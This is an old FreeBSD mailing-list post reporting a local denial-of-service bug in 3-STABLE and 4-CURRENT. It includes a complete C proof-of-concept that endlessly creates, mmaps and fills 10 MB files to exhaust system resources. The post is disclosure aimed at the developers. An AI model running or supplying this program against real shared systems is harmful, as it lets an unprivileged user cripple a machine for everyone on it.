Hi there, Probably it is already known problem, but it seems that any unprivileged malicious user with 15-20 MB disk quota can bring either 3-STABLE or 4-CURRENT system to its knees using relatively simple program. #include <sys/types.h> #include <sys/mman.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> main() { int fd; int i; int len=1024*1024*10; /*ie 10Mbytes*/ caddr_t addr; char ttt[80]; for (i=0;;i++) { sprintf (ttt,"%d",i); fd=open(ttt,O_CREAT|O_RDWR,0666); if (fd<0) { printf("open error %ld\n",errno); exit(1); } lseek(fd,len-1,SEEK_SET); write(fd,"",1); addr=mmap(0,len,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0); if (addr==MAP_FAILED) { printf("mmap error %ld",errno); exit(1); } close(fd); memset(addr,'x',len); } } -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message
